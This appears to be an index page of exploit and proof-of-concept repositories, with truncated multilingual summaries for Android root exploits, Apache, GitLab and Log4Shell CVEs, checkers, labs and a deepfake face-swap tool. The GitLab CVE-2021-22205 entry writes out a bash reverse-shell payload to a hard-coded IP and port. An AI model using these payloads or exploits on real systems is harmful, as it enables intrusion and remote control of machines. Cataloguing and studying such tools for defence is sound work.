CVE-2019-2215

CVE-2019-2215 Android 内核漏洞 CVE-2019-2215 临时 root PoC。 它适用于运行2019年9月QP1A.190711.020镜像且内核版本-BuildID为4.4.177-g83bee1dc48e8的Google Pixel 2/Pixel 2 XL walleye/taimen设备。 用法 目前，二进制仅支持arm64。 root@kitploit: $ git clone https://github.com/jsirichai/CVE-2019-2215.git $ cd CVE-2019-2215 $ adb push...

android-CVE-2016-5195

CVE-2016-5195 CVE-2016-5195（dirty cow/dirtycow/dirtyc0w）针对 Android 的概念验证 此仓库演示了通过 ADB 连接的存在漏洞的 Android 设备上的该漏洞。 它不会禁用 SELinux（参见 https://github.com/timwr/CVE-2016-5195/issues/9），也不会在设备上安装超级用户。 root@kitploit: $ make root ndk-build NDKPROJECTPATH=. APPBUILDSCRIPT=./Android.mk APPPLATFORM=android-16...

CVE-2025-10035_GoAnywhere

GoAnywhere CVE-2025-10035 检查器 描述 一个轻量级的 Python 检查器 ，用于检测 GoAnywhere 实例是否存在 CVE‑2025‑10035 漏洞。 该工具发送一个精心构造的 GET 请求，使用随机化的 User-Agent（通过 fake-useragent 并附备用列表），不 跟随重定向，检查 Location 标头，并将实例分类为 未修补（存在漏洞） 或 已修补（不存在漏洞） 。 注意：此仓库目前仅包含检查器 。PoC（概念验证代码）可能会在后续适当的时候，单独放在一个明确标记的位置添加 —— 目前该项目仅用于检测。 漏洞概述...

CVE-2025-4679-SecureOAuth-Demo---Enfoque-educativo

🔐 OAuth 安全实验室：CVE-2025-4679 教育模拟器 一个安全、隔离的环境，用于学习 OAuth 漏洞，无需冒真实系统的风险 🚀 快速开始 | 📚 学习路径 | 🛡️ 安全环境 | 👥 贡献者 📖 概述 本教育实验室模拟了在 Synology 的 Active Backup for Microsoft 365 中发现的 CVE-2025-4679 漏洞 ，该漏洞中客户端密钥在 HTTP 重定向中被暴露。该实验室提供了一个 100% 安全的环境 ，用于理解、分析和学习这一关键安全缺陷。 ⚠️ 重要提示 ：这是一个仅供教育使用的工具...

CVE-2021-41773

CVE-2021-41773 Usage root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py 什么是CVE-2021-41773？ CVE-2021-41773 Apache HTTP Server 2.4.49 的目录遍历漏洞。当未设置 Require all denied 时发生。...

CVE-2021-41773

Docker セットアップ付き CVE-2021-41773 エクスプロイト PoC。 Apache 設定ファイルと Dockerfile リポジトリ内に同梱 が含まれるディレクトリへ移動します。 イメージのビルド: docker build -t cve-2021-41773:1.0 . Docker イメージの実行: docker run --rm -d -p 4444:80 cve-2021-41773:1.0 注: イメージ名の代わりにイメージ ID を使用することもできます。イメージの詳細はコマンド 'docker images' で確認してください サービスのテスト: cur...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell テストバージョン エクスプロイトコマンドの生成 root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumakeを使用してエクスプロイト画像を生成 root@kitploit: import os payloads= "echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1'...

Deep-Live-Cam v2.7.5-Ultimate

Deep-Live-Cam 2.1.6 Real-time face swap and video deepfake with a single click and only a single image. Disclaimer This deepfake software is designed to be a productive tool for the AI-generated media industry. It can assist artists in animating custom characters, creating engaging content, and...

exploit-CVE-2014-6271

exploit-CVE-2014-6271 docker run --rm -d -p :80 vulnerables/cve-2014-6271 sh exploit-cli.sh...

Log4Shell-CVE-2021-44228

Log4Shell（CVE-2021-44228）の悪用：完全かつ最新の実証ラボ Log4Shell（CVE-2021-44228）は、これまでに公開された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この脆弱性は、広く使用されているJavaロギングフレームワークであるApache Log4j 2 に影響し、攻撃者がログメッセージ内のJNDIルックアップ を悪用して任意のコードを実行することを可能にします。 このガイドでは、以下を使用した完全で再現可能なデモンストレーションラボを提供します。 Kali Linux （攻撃者） Docker化...

cve-2016-5699-jinzheng-sha

cve-2016-5699-report 阅读课程报告 此仓库引用了一个示例。 simple-client.py 是一个 Python 脚本，用于向命令行参数传入的 URL 发起 HTTP 请求。 simple-server.py 使用 Flask 构建一个简单的 HTTP 服务器，用于打印所收到请求的标头。 环境搭建 安装 virtualenv，pip install virtualenv 获取两个版本的 Python 用于对比，一个在 2.7.10 之前，另一个在 2.7.10 之后。这个链接可能有用。 使用 virtualenv 创建两个 Python 环境。例如：...

CVE-2018-1002105

CMPT733-Group110x90 CVE-2018-1002105 Miembros : Abhishek Rungta, Shubham Saini, Siddhant Sood Configuración del Entorno Una máquina virtual Linux como Ubuntu 20.04 Minikube para el despliegue local de Kubernetes Cualquiera de estas versiones antiguas 1.0.x— 1.9.x, 1.10.0—1.10.10, 1.11.0—1.11.4,...

cve-2019-14514

CVEID : CVE-2019-14514 Name of the affected products and versions : Microvirt MEmu todas las versiones anteriores a 7.0.2 Problem type : CWE-78: Neutralización Incorrecta de Elementos Especiales utilizados en un Comando del Sistema Operativo 'Inyección de Comandos del Sistema Operativo' Resumen...

CVE-2026-29145-Tester

CVE-2026-29145 测试环境 📌 概述 本仓库包含一个概念验证（PoC）环境，用于测试 CVE-2026-29145 。 该漏洞是 Apache Tomcat 的相互 TLS（CLIENTCERT）实现中的身份验证绕过 。当 OCSP（在线证书状态协议）配置为禁用软失败时，Tomcat 可能无法将 OCSP 检查失败视为硬性拒绝。如果 OCSP 响应器不可达或返回错误，这允许持有可能已吊销或未验证证书的客户端绕过身份验证。 🛡️ 漏洞详情 属性| 值 ---|--- CVE ID| CVE-2026-29145 CVSS 评分| 9.1（严重）-...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 漏洞利用程序 OpenEMR --debug exploit.rb -h | --help Options: Root URL base path including HTTP scheme, port and root folder Filename of the shell to be uploaded Username of the admin Password of the admin --debug Display arguments -h, --help Show this screen Examples: exploit.rb...

CVE-2025-24893_Analysis

CVE-2025-24893 - XWiki SolrSearch SSTI 导致未认证 RCE 一个自包含的 Docker 实验环境，用于复现 CVE-2025-24893——XWiki SolrSearch RSS 源中的服务端模板注入（Server-Side Template Injection，SSTI），该漏洞可导致未认证的远程代码执行（RCE）。它运行存在漏洞的 15.10.10 版本和已修复的 15.10.11 版本，因此可以展示同一个请求在一个版本上成功、在另一个版本上失败。 关于 AI 工具使用的说明。 在准备本项目时，我有限地使用了两个 AI 助手——Anthropi...

jsonorg-fp3

json.org CVE-2022-45688 誤検知 このプロジェクトには、CVE-2022-45688 が報告されている json.org 依存関係が含まれています。 この依存関係は脆弱なクラスを呼び出していますが、入力データはサニタイズされています（ 文字をカウントする簡単な方法で、生成される DOM ツリーの最大深さを見積もり、それが 1000 未満でなければならないという前提条件を強制することにより）。そのため、この脆弱性を DoS 攻撃に悪用することはできません。 メタデータベースおよびコールグラフベースのソフトウェア構成分析は、どちらも誤検知を生成します。...

jsonorg-fp2

json.org CVE-2022-45688 误报 该项目包含一个依赖于 json.org 的依赖项，该依赖项存在 CVE-2022-45688 漏洞。它确实调用了有漏洞的类，但输入数据是硬编码的，不适合触发DoS攻击。因此，该漏洞无法被利用进行DoS攻击。 基于元数据和基于调用图的软件组合分析都会产生误报。要精确检测应用程序是否易受攻击，需要更复杂的跨过程数据流/污点分析。 注意，存在一个漏洞验证测试来演示该漏洞，该测试（以及使用 mvn test 的构建）会失败。关于测试的工作原理，请参阅 https://github.com/scabench/jsonorg-tp1。...

jsonorg-fp1

json.org CVE-2022-45688 の誤検知 このプロジェクトには、CVE-2022-45688 の影響を受ける json.org 依存関係が含まれていますが、脆弱なクラスを 呼び出しません 。 したがって、この脆弱性を DoS 攻撃に悪用することはできません。 メタデータベースのソフトウェア構成分析では誤検知が発生しますが、 コールグラフベースの分析では、このアプリケーションは脆弱性ありとは判定されません。 ソフトウェア構成分析の実行 さまざまな分析を実行するための sh スクリプトがいくつかあります。結果レポートは scan-results にあります。 SBOM の生成...

expat_2_1_0_CVE-2024-28757

Expat、リリース 2.1.0 これは、James Clark によって書かれた、XML を解析するための C ライブラリ Expat です。 Expat はストリーム指向の XML パーサーです。つまり、パースを開始する前に ハンドラーをパーサーに登録します。これらのハンドラーは、パーサーが 解析中のドキュメント内で関連する構造を発見したときに呼び出されます。 開始タグは、ハンドラーを登録できる種類の構造の 一例です。 Windows ユーザーは、コンパイル済みライブラリと実行可能ファイルの両方、 および開発者向けソースコードを含む expatwin32bin パッケージを...